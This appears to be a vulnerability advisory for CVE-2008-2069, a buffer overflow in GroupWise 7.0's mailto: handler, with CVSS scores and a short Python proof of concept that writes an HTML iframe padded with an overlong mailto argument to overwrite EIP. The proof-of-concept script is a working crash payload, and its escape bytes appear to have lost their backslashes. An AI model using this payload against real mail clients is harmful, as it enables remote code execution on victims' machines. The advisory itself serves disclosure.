GroupWise 7.0 mailto: scheme buffer overflow

Published
Credit
Risk
2008.05.03
Juan Pablo Lopez Yacubian
High
CWE
CVE
Local
Remote
CWE-119
CVE-2008-2069
No
Yes

CVSS Base Score
Impact Subscore
Exploitability Subscore
9.3/10
10/10
8.6/10
Exploit range
Attack complexity
Authentication
Remote
Medium
No required
Confidentiality impact
Integrity impact
Availability impact
Complete
Complete
Complete

PRODUCT: GroupWise 7.0

OS: Windows Xp

The scheme "mailto" is vulnerable if one takes as default mail client to GroupWise, the fault is to implement the scheme followed by an extensive argument and this causes the buffer overflow. This brings the consequence that can overwrite the EIP and is able to execute arbitrary code. The result with a debbuger us what reveals.

Access violation when executing [41414141]

What power is that vulnerability to attach a html file which is included in an iframe with the scheme badly formed runs only watch.

proof of concept

#!/usr/bin/python

a = "<iframe src='mailto:"

a += "A" * 1530

a += "x61x61x61x61"

a += "' width='320' height='300' scrolling='yes' name='content'></iframe>"

file = open("test.html", "w")

file.write(a)

file.close()

greetings!

Juan Pablo Lopez Yacubian


See this note in RAW Version

 
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